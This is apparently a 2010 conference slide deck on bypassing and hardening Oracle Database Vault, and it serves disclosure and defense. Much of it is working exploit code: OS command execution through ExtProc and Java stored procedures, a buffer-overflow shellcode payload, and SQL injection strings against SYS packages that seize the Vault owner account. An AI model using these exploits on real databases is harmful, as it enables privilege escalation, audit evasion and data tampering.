Hacking and protecting Oracle Database Vault

Esteban Martínez Fayó

Argeniss (www.argeniss.com)

July 2010

Agenda

- Introduction to Oracle Database Vault
  - What is Oracle Database Vault, What changes introduce, Oracle Database Vault elements.
- Attacks against Database Vault
  - Getting OS access
  - Impersonating MACSYS user
  - Special considerations for the SYS user
    - SQL Injection in SYS schema
- Oracle Database Auditing and SYS user
- Additional protection measures
- Conclusions

What is Oracle Database Vault?

- It's an add-on to Oracle Database.
- Supported Oracle Database Releases: 9i R2, 10g R2, 11g R1 and 11g R2.
- "Oracle Database Vault can prevent highly privileged users, including powerful application DBAs and others, from accessing sensitive applications and data in Oracle databases outside their authorized responsibilities"
  - The DBA no longer has unlimited access to database data.
  - Helps protect against the **insider threat** and address regulatory compliance needs such as Sarbanes-Oxley (SOX) and PCI .
- The main goal of Oracle Database Vault is to provide *Separation of Duty*

What changes with Database Vault?

- Some initialization parameteres are changed to more secure values.
- RECYCLE BIN feature is disabled
- Revokes some privileges from default roles
  - DBA, IMP_FULL_DATABASE, EXECUTE_CATALOG_ROLE, SCHEDULER_ADMIN and PUBLIC.
- Database audit is configured to include more actions, but auditing is not enabled.
  - Must issue ALTER SYSTEM SET AUDIT_TRAIL
- SYS.AUD$ Table Moved to SYSTEM Schema.

What changes with Database Vault?

- SYS, SYSTEM and other schemas are protected as well as sensitive commands like ALTER USER.
- Installing patches require to disable DBVault.
- DBVault can be disabled with OS access.
  - On Windows: Under %ORACLE_HOME%\bin, delete or rename oradv[release_number].dll (example: oradv10.dll, oradv11.dll) file.
  - On Linux:
    make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk dv_off
    $ORACLE_HOME/bin/relink oracle

What changes with Database Vault?

- In older releases:
  - OS authentication to the database is disabled.
  - Login "AS SYSDBA" blocked by default
    - SYS user can only log on "AS SYSOPER"
    - Some applications are incompatible with this: RMAN, Oracle RAC and some Oracle command line utilities.
    - Can be enabled with nosysdba=y parameter in orapwd program:
      - `$ORACLE_HOME/bin/orapwd file=$ORACLE_HOME/dbs/orapworcl force=y nosysdba=n password=anypass`

Database Vault Elements

- Realms
  - Functional grouping of database schemas and roles that must be secured. For example, related to accounting or sales.
  - You can use the realm to control the use of system privileges to specific accounts or roles.
- Factors
  - A factor is a named variable or attribute, such as a user location, database IP address, or session user.
  - Can be used for activities such as authorizing database accounts to connect to the database or creating filtering logic to restrict the visibility and manageability of data.

Database Vault Elements

- Command rules
  - Allows to control how users can execute many of the SQL statements.
  - Work with rule sets to determine whether or not the statement is allowed.
- Rule sets
  - Collection of rules that you can associate with a realm authorization, command rule, factor assignment, or secure application role.
  - The rule set evaluates to true or false based on the evaluation of each rule.
- Secure application roles
  - Special Oracle role that can be enabled based on the evaluation of a rule set.

Database Vault Elements

- Database Vault Schemas (Locked accounts by default):
  - DVSYS: Contains Oracle Database Vault objects (tables, views, PL/SQL packages, etc).
    It's secured by the 'Oracle Database Vault' realm. It guards the schema against improper use of system privileges like SELECT ANY TABLE, CREATE ANY VIEW, or DROP ANY ….
  - DVF: Owner of DBMS_MACSEC_FUNCTION. Contains the functions that retrieve factor identities.
- Roles provided by Oracle Database Vault:
  - DV_OWNER, DV_REALM_OWNER, and DV_REALM_RESOURCE
  - DV_ADMIN, DV_ACCTMGR, and DV_PUBLIC
  - DV_SECANALYST

Database Vault Elements

- Typical Database Vault users:
  - MACACCT
    - Account for administration of database accounts and profiles.
    - Roles granted: DV_ACCTMGR
  - MACADMIN
    - Account to serve as the access control administrator.
    - Roles granted: DV_ADMIN
  - MACREPORT
    - Account for running Oracle Database Vault reports.
    - Roles granted: DV_SECANALYST
  - MACSYS
    - Account that is the realm owner for the DVSYS realm.
    - Roles granted: DV_OWNER

Bypassing DB Vault

- Database Vault Documentation contains a guideline to secure it
  - Documents security considerations with:
    - PL/SQL Packages: UTL_FILE, DBMS_FILE_TRANSFER, LogMiner Packages
    - Privileges: CREATE ANY JOB, CREATE JOB, CREATE EXTERNAL JOB, ALTER SYSTEM and ALTER SESSION
    - The Recycle Bin
    - Java Stored Procedures and External C Callouts (< 11.2)
    - Trusted accounts: Oracle software owner OS account and SYSDBA users.

Bypassing DB Vault

- Attacks against Database Vault:
  - With OS access (from the database it may be possible to get OS access)
  - Creating and executing a procedure in MACSYS schema
  - SYS user can bypass DB Vault
  - Impersonating SYS using SQL Injection
  - Exploiting other vulnerabilities specific to DB Vault.

OS access

- OS access (as the Oracle software owner or root/Administrator) allows an attacker to:
  - Disable Database Vault
  - Overwrite SYS password (and enable SYSDBA connections if necessary).
- Ways an attacker can get OS access:
  - External procedure call
  - Exploiting a buffer overflow vulnerability
    - Demo: SYS.KUPF$FILE_INT.GET_FULL_FILENAME.
  - Exploiting a SQL injection vulnerability and using one of the above methods
  - Java Stored Procedure
  - External Job; Creating a DIRECTORY object.

OS access using ExtProc call - Attack

- Requires CREATE LIBRARY and CREATE PROCEDURE privileges.
  - Default roles granted these privileges: DBA and IMP_FULL_DATABASE
  - Default users: SYSTEM, SYSMAN, DMSYS, MDSYS, ORDPLUGINS, ORDSYS
- Create a library associated with an OS shared library containing a system() or exec() function.
  - Since Oracle 9.2 must be in $ORACLE_HOME/lib (Linux) or %ORACLE_HOME%\bin (Windows).
    - Configured using EXTPROC_DLLS environment variable in listener.ora
  - Linux:
    ```
    CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}/lib/libosutils.so'
    ```
  - Windows (10gR2):
    ```
    CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}\bin\msvcr71.dll'
    ```
  - Windows (11gR1 and 11gR2):
    ```
    CREATE LIBRARY OS_EXEC AS '${ORACLE_HOME}\bin\msvcrt.dll'
    ```

OS access using ExtProc call - Attack

- Create a procedure that calls to the system() or exec() functions:

```
CREATE OR REPLACE PROCEDURE OS_EXEC2 (OS_CMD IN VARCHAR2) IS

 EXTERNAL NAME "system" LANGUAGE C LIBRARY OS_EXEC PARAMETERS (OS_CMD STRING);
```

- To disable Database Vault:
  - Linux:

```
BEGIN
 OS_EXEC2 ('make -f $ORACLE_HOME/rdbms/lib/ins_rdbms.mk dv_off');
 OS_EXEC2 ('$ORACLE_HOME/bin/relink oracle');
END;
```

  - Windows:

```
-- 10gR2:
EXEC OS_EXEC2 ('ren %ORACLE_HOME%\bin\oradv10.dll oradv10_.dll');
-- 11gR1 and 11gR2:
EXEC OS_EXEC2 ('ren %ORACLE_HOME%\bin\oradv11.dll oradv11_.dll');
```

OS access using ExtProc call - Defense

- Avoid granting CREATE LIBRARY and CREATE PROCEDURE privileges to users.
  - Enable auditing any use of these privileges
- Use EXTPROC_DLLS environment variable in listener.ora to restrict the libraries that can be loaded.

OS access using Java - Attack

- Two approaches
  - Using Oracle Java vulnerabilities discovered by David Litchfield (fixed in April 2010 CPU)
  - Using functionality available to privileged users.

- Steps to get OS access using Oracle Java:
  - Grant Java privileges
    - With DBMS_JAVA.GRANT_PERMISSION (requires JAVA_ADMIN role)
    - With DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS (granted to PUBLIC by default except when April 2010 CPU applied)
  - Create Java Source and Java Stored procedure (requires CREATE PROCEDURE privilege)
    - This step can be avoided using DBMS_JAVA.RUNJAVA and oracle.aurora.util.Wrapper class (not available if April 2010 CPU is applied).

OS access using Java (java_admin) - Attack

- Grant Java privileges (requires JAVA_ADMIN privs):

```
EXEC dbms_java.grant_permission( 'ONEDBA', 'SYS:java.io.FilePermission',
'<<ALL FILES>>', 'execute' );

EXEC dbms_java.grant_permission( 'ONEDBA',
'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '' );

EXEC dbms_java.grant_permission( 'ONEDBA',
'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' );
```

OS access using Java (java_admin) - Attack

- Create Java Source (requires CREATE PROCEDURE priv):

```
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*; import java.io.*;

public class ExecuteOS
{
  public static void execOSCmd (String cmd) throws IOException,
java.lang.InterruptedException
  {
    String[] strCmd = {"cmd.exe", "/c", cmd};
    Process p = Runtime.getRuntime().exec(strCmd);
    p.waitFor();
  }
};
/
```

OS access using Java (java_admin) - Attack

- Create Java Stored procedure (requires CREATE PROCEDURE):

```
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
AS LANGUAGE JAVA
NAME 'ExecuteOS.execOSCmd (java.lang.String)';
/
```

- Execute OS commands:

```
EXEC PROC_EXECUTEOS
('C:\app\Administrator\product\11.2.0\dbhome_1\BIN\orapwd.exe
file=C:\app\Administrator\product\11.2.0\dbhome_1\database\PWDorcl.ora
force=y password=anypass nosysdba=n');

EXEC PROC_EXECUTEOS ('ren
C:\app\Administrator\product\11.2.0\dbhome_1\BIN\oradv11.dll
oradv11_.dll');
```

OS access using Java (java_admin) - Defense

- Restrict JAVA_ADMIN role.
- Remove Java support from Oracle database (if not needed).

OS access using Java (no privs) - Attack

- Grant Java privileges (no privs required):

```
DECLARE
  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  CURSOR C1 IS SELECT 'GRANT','ONEUSER','SYS',
'java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
  OPEN C1;
  FETCH C1 BULK COLLECT INTO POL;
  CLOSE C1;
  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
```

- Call oracle/aurora/util/Wrapper to execute OS commands:

```
SELECT DBMS_JAVA_TEST.FUNCALL
('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c',
'ren',' C:\\oracle\\product\\10.2.0\\db_1\BIN\\oradv10.dll','oradv10_.dll')
FROM DUAL;
```

OS access using Java (no privs) - Defense

- Apply April 2010 CPU.
- Oracle 11gR2 on Windows is not vulnerable.
- Revoke privileges from users to execute `DBMS_JVM_EXP_PERMS`

OS access using Buffer overflow - Attack

- Requires EXECUTE privileges on a vulnerable procedure
- DEMO: DIRPATH parameter of SYS.KUPF$FILE_INT.GET_FULL_FILENAME function is vulnerable to buffer overflow attacks
  - Patched in April 2008 Critical Patch Update

OS access using Buffer overflow - Attack

```
DECLARE
  OS_COMMAND VARCHAR2(504);
  RET_VALUE_X123 VARCHAR2(32767);
  P_DIRPATH VARCHAR2(32767);
BEGIN
-- Disable DB Vault:
  OS_COMMAND:='ren ..\bin\oradv10.dll oradv10_.dll';
-- Enable SYSDBA access and overwrite SYS password:
--  OS_COMMAND:='..\bin\orapwd.exe file=..\dbs\orapworcl force=y nosysdba=n password=anypass';
  P_DIRPATH := ''
   ||chr(54)||chr(141)||chr(67)||chr(19)                    /* 36:8D43 13  LEA EAX,DWORD PTR SS:[EBX+13] */
   ||chr(80)                                                /* 50          PUSH EAX */
   ||chr(184)||chr(131)||chr(160)||chr(187)||chr(119)/* B8 83A0BB77 MOV EAX,msvcrt.system */
   ||chr(255) || chr(208)                                   /* FFD0        CALL EAX */
   ||chr(184)||chr(31)||chr(179)||chr(188)||chr(119) /* B8 1FB3BC77 MOV EAX,msvcrt._endthread */
   ||chr(255) || chr(208)                                   /* FFD0        CALL EAX */
   ||RPAD(OS_COMMAND || chr(38), 505)
   ||CHR(96) || CHR(221) || CHR (171) || CHR(118);   /* EIP   0x76abdd60 - CALL EBX */
  RET_VALUE_X123 := SYS.KUPF$FILE_INT.GET_FULL_FILENAME(DIRPATH => P_DIRPATH, NAME => 'B', EXTENSION
    => '', VERSION => '');
END;
/
```

OS access using Buffer overflow - Defense

- Stay up-to-date with patches
- Restrict EXECUTE permissions on Packages, reduce attack surface.
- Strictly audit operations at the OS level.

Impersonating MACSYS - Attack

- Requires CREATE ANY PROCEDURE and EXECUTE ANY PROCEDURE privileges.
  - Default roles granted these privileges: DBA, IMP_FULL_DATABASE and DV_REALM_OWNER
  - Default users: SYSTEM and SYSMAN
- Create a procedure in Database Owner schema (MACSYS) that execute as the owner (default behavior)
- The procedure takes a string parameter that is the statement to be executed.

Impersonating MACSYS - Attack

- Example:

```
CREATE OR REPLACE PROCEDURE MACSYS.EXECASMACSYS (STMT VARCHAR2) AS
 BEGIN EXECUTE IMMEDIATE STMT; END;
```

- Execute the created stored procedure to run statements as the MACSYS user

```
EXEC MACSYS.EXECASMACSYS ('ALTER USER MACSYS IDENTIFIED BY ANYPSW');
```

Impersonating MACSYS - Defense

- Restrict CREATE ANY PROCEDURE and EXECUTE ANY PROCEDURE privileges
- Consider to protect MACSYS schema with a Realm

```
BEGIN
  DVSYS.DBMS_MACADM.CREATE_REALM('MACSYS Realm', '', 'NO', 1);
  DVSYS.DBMS_MACADM.ADD_OBJECT_TO_REALM('MACSYS Realm', 'MACSYS', '%',
  '%');
  DVSYS.DBMS_MACADM.UPDATE_REALM('MACSYS Realm', 'Realm to protect the
  Database Vault Owner Schema', 'YES', 1);
END;
```

SYS user considerations

- SYS is owner of the 'Oracle Data Dictionary' Realm.
- SYS has no administrator privilege over Database Vault (DV_OWNER role).
- Can change Database Vault owner password in these ways:
  - Using SYS.DBMS_SYS_SQL.PARSE_AS_USER():

```
declare l_num number; l_int integer;
begin
  select user_id into l_num from all_users where username = 'MACSYS';
  l_int := sys.dbms_sys_sql.open_cursor();
  sys.dbms_sys_sql.parse_as_user(l_int,'alter user MACSYS identified by
   "ANYPASS"',dbms_sql.native,l_num);
  sys.dbms_sys_sql.close_cursor(l_int); end;
```

- It is important to protect the SYS account as if it was one of the DB Vault owner accounts.

SYS user considerations for older releases

- Before 11.1.0.7: SYS Can use SYS.KUPP$PROC.CHANGE_USER to impersonate any user, including the DB Vault owner.
- Some DV Releases (like 10.2.0.4) allows the SYS user to update system tables:
  - Can change DV owner password updating system tables directly:
    ```
    UPDATE sys.user$ SET password='C3B6F7BD55996DAA' WHERE
    name='MACSYS'
    ```
  - Can update data dictionary tables directly and the protection will not work (because there is no GRANT statement issued) :
    ```
    INSERT INTO sys.sysauth$ VALUES ((SELECT user# FROM
    user$ WHERE name = 'SYS'),(SELECT user# FROM user$
    WHERE name = 'DV_OWNER'),999,NULL)
    ```

SQL Injection

- What about SQL Injection vulnerabilities in the SYS schema?
  - As we have seen SYS user can compromise DB Vault protections.
- To protect from these SQL Injection attacks:
  - Apply Critical Patch Updates.
  - Revoke EXECUTE privileges for SYS owned packages.

SQL Injection - Examples

- Using vulnerability in DBMS_JAVA.SET_OUTPUT_TO_JAVA:

```
SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA
('ID','oracle/aurora/rdbms/DbmsJava','SYS',
'writeOutputToFile','TEXT', NULL, NULL, NULL,
NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''declare l_num number; l_int integer; begin
select user_id into l_num from all_users where username =
''''MACSYS''''; l_int := sys.dbms_sys_sql.open_cursor();
sys.dbms_sys_sql.parse_as_user(l_int,''''grant dv_owner to
oneuser'''',dbms_sql.native,l_num);
sys.dbms_sys_sql.close_cursor(l_int); end;''; END;', 'BEGIN NULL;
END;') FROM DUAL;

EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',
SYSDATE());
```

SQL Injection - Examples

- Example where a function call can be injected. Fixed CPU-OCT-08

```
CREATE OR REPLACE FUNCTION ONEUSER.SQLI return varchar2
 authid current_user as pragma autonomous_transaction;
BEGIN
  execute immediate 'begin sys.kupp$proc.change_user(''MACSYS'');
end;';
  execute immediate 'alter user MACSYS identified by anypass';
  commit;
  RETURN '';
END;
/
DECLARE  P_WORKSPACE VARCHAR2(32767);
BEGIN
  P_WORKSPACE := '''||ONEUSER.SQLI()||''';
  SYS.LT.CREATEWORKSPACE(P_WORKSPACE, FALSE, '', FALSE);
  SYS.LT.REMOVEWORKSPACE(P_WORKSPACE, FALSE);
END;
/
```

SQL Injection - Examples

- Cursor Injection can't be used this way:

```
DECLARE
  P_WORKSPACE VARCHAR2(32767);
  MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQL.PARSE(MYC, 'declare pragma autonomous_transaction; begin
   sys.kupp$proc.change_user(''MACSYS''); execute immediate ''alter
   user macsys identified by anypass''; commit;end;',0);
  P_WORKSPACE := '''||(dbms_sql.execute('||myc||'))--';
  SYS.LT.CREATEWORKSPACE(P_WORKSPACE, FALSE, '', FALSE);
  SYS.LT.REMOVEWORKSPACE(P_WORKSPACE, FALSE);
END;
/
```

SQL Injection - Examples

- Accessing objects protected by Realms exploiting vulnerability in SYS.LTADM (Fixed CPU-OCT-08):

```
DECLARE

  P_INSTATE VARCHAR2(32767);

BEGIN

  P_INSTATE := '''||to_char(dbms_xmlquery.getxml(''declare pragma
   autonomous_transaction; begin update hr.employees set
   salary=50000 where employee_id=205;commit;end;'',0))||''';

  SYS.LTADM.COMPRESSSTATE(P_INSTATE, 1);

END;

/
```

SQL Injection - Examples

```
CREATE OR REPLACE FUNCTION "ONEDBA"."SQLI" return varchar2
 authid current_user as
 pragma autonomous_transaction;
BEGIN
  execute immediate 'begin insert into sys.sysauth$ values ((select
   user# from user$ where name = ''ONEDBA''),(select user# from user$
   where name = ''DV_OWNER''),999,null); end;';
  commit;
  return '';
END;
/
EXEC SYS.DBMS_CDC_UTILITY.LOCK_CHANGE_SET('EX01''||ONEDBA.sqli||''');
```

SQL Injection - Examples

- Analyzing the vulnerable code we can see that it can be exploited without creating an auxiliary function (the SQL injection is inside a PL/SQL block instead of a DML sentence).

```
SELECT PIECE, U.USERNAME, ST.SQL_TEXT FROM V$SQLAREA SA, V$SQLTEXT
   ST, DBA_USERS U WHERE SA.ADDRESS = ST.ADDRESS AND SA.HASH_VALUE =
   ST.HASH_VALUE AND SA.PARSING_USER_ID = U.USER_ID AND
   ST.HASH_VALUE IN (select HASH_VALUE from V$SQLTEXT where SQL_TEXT
   LIKE '%EX01%') ORDER BY ST.ADDRESS, ST.HASH_VALUE, ST.PIECE

   0   SYS   begin sys.dbms_application_info.set_module(module_name=>'DBMS_CD
   1   SYS   C_PUBLISH.ADVANCE',action_name=>'EX01'||ONEDBA.SQLI||'');end;
```

SQL Injection - Examples

```
EXEC SYS.DBMS_CDC_UTILITY.LOCK_CHANGE_SET(''); begin
sys.kupp$proc.change_user(''MACSYS''); end; execute immediate
''alter user MACSYS identified by anypass''; commit; end;--');
```

- Results in the following code executed as SYS:

```
begin
sys.dbms_application_info.set_module(module_name=>'DBMS_CDC_PUBLI
SH.ADVANCE',action_name=>''); begin
sys.kupp$proc.change_user('MACSYS'); end; execute immediate
'alter user MACSYS identified by anypass'; commit; end;--');end;
```

Vulnerabilities specific to Oracle DB Vault

- NLS_LANGUAGE Realm protection bypass (Fixed)
  - Changing the NLS_LANGUAGE session parameter to anything different than AMERICAN disables Database Vault Realm protection for DDL commands.
- Some issues pending to fix
  - Affecting Oracle Database Vault Administrator web console.
  - Allowing to compromise DB Vault from DV_ACCTMGR role.

Vulnerabilities specific to Oracle DB Vault

```
SQL> connect onedba/onedba
Connected.
SQL> drop table hr.jobs cascade constraints;
drop table hr.jobs cascade constraints
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-47401: Realm violation for drop table on HR.JOBS
ORA-06512: at "DVSYS.AUTHORIZE_EVENT", line 55
ORA-06512: at line 13

SQL> alter session set NLS_LANGUAGE="LATIN AMERICAN SPANISH";

Session altered.

SQL> drop table hr.jobs cascade constraints;

Table dropped.
```

Oracle Database Auditing and SYS user

- SYS user is not audited in the same way than other users:
  - AUDIT_SYS_OPERATIONS init parameter must be TRUE.
  - All SQL statements issued in a SYSDBA/SYSOPER connection are audited with the SQL Text in OS audit trail.
    - The Auditing configuration done with AUDIT statement doesn't have any effect on SYS auditing.
  - Statements executed inside stored procedures are NOT audited.
  - SYS.KUPP$PROC.CHANGE_USER (BECOME USER) is audited even if it's used inside a SP.
  - SYS.DBMS_SYS_SQL.PARSE_AS_USER is not audited if used inside a SP.

Oracle Database Auditing and SYS user

- What about SQL injection running as SYS?
  - The vulnerable procedure execution is audited
    - Audit of SP executions is not commonly enabled.
    - It will appear just as a SP execution and the statements executed as the privileged (SYS) user will not be audited.
    - Only if the Extended auditing (with SQL Text) is enabled the statements can be seen as a string in the SP call parameters.

Oracle Database Auditing and SYS user

- What about SQL injection running as SYS?
  - If the SQL Injection exploit requires to create a function then this will also be audited.
    - There are some techniques that avoids the need to create a function.
    - Function can be created wrapped to make it more difficult to know what is doing, something like:

```
create or replace procedure oneuser.sqli wrapped
a000000
b2
abcd
7
37 6d
VqEweimFLXnpdhTHG8WS4ZVL2V0wg5nnm7+fMr2ywFwWULgruDO4dCDXpXQruM
Ay/tJeuPC4
MsuyUlyl0oEyMgj1NsJuO5Rxc3HYiKaJzbK1

/
```

Additional protection measures

- Be aware that some system privileges can lead to full database compromise:
  - BECOME USER
  - CREATE [ANY] LIBRARY
  - EXECUTE ANY PROCEDURE
  - CREATE ANY PROCEDURE
  - EXECUTE on SYS owned objects.
    - Default roles like SELECT_CATALOG_ROLE, EXECUTE_CATALOG_ROLE, DBA has excessive EXECUTE privileges.
- ```
  SELECT u.name username, pm.name priv
  FROM sys.sysauth$ sa, sys.user$ u, sys.system_privilege_map pm
  WHERE privilege# in (-188, -189, -21, -140, -141, -144) AND u.user# =
  grantee# AND pm.privilege = sa.privilege# ORDER BY u.name
  ```
- SELECT * FROM sys.system_privilege_map
  ```

Additional protection measures

- NEVER use default Oracle users or roles
  - Usually have more privileges than needed and can change from release to release.
  - Create your own users and grant only the required privileges through your own roles.
  - Exception: Database Vault default roles (like DV_OWNER and DV_ACCTMGR).
- Change the External Job OS user
  - In Unix/Linux: Can be specified in $OH/rdbms/admin/externaljob.ora
  - In windows: Change the authentication user defined in the external job service
- Follow the security considerations in Database Vault Documentation but be aware that it is not enough.

Conclusions

- The Separation of duty provided by Database Vault can be bypassed.
- System privileges can lead to full DB compromise or privilege escalation
  - CREATE LIBRARY/PROCEDURE; CREATE/EXECUTE ANY PROCEDURE
- Database Auditing can be bypassed by SYS user or exploiting SQL injection.

Conclusions

- Oracle should move components out of the SYS schema
  - There are some components that do not need to be in the SYS schema.
  - They are doing something in this direction: Oracle Workspace Manager was moved from SYS to WMSYS.
    - Accessed through DBMS_WM public synonym
    - Implemented in packages LT, LTADM, LTRIC.
- Oracle Database Vault is improving its security and usability in new releases
  - More restrictions for SYS user.
  - More functionality and tools can be used with DV enabled.

Documentation

- Oracle documentation for Database Vault:
  - 10.2: http://download.oracle.com/docs/cd/B19306_01/server.102/b25166/toc.htm
  - 11.1: http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/toc.htm
  - 11.2: http://download.oracle.com/docs/cd/E11882_01/server.112/e10576/toc.htm

END

- Questions?
- Thank You.
- Contact: esteban>at<argeniss>dot<com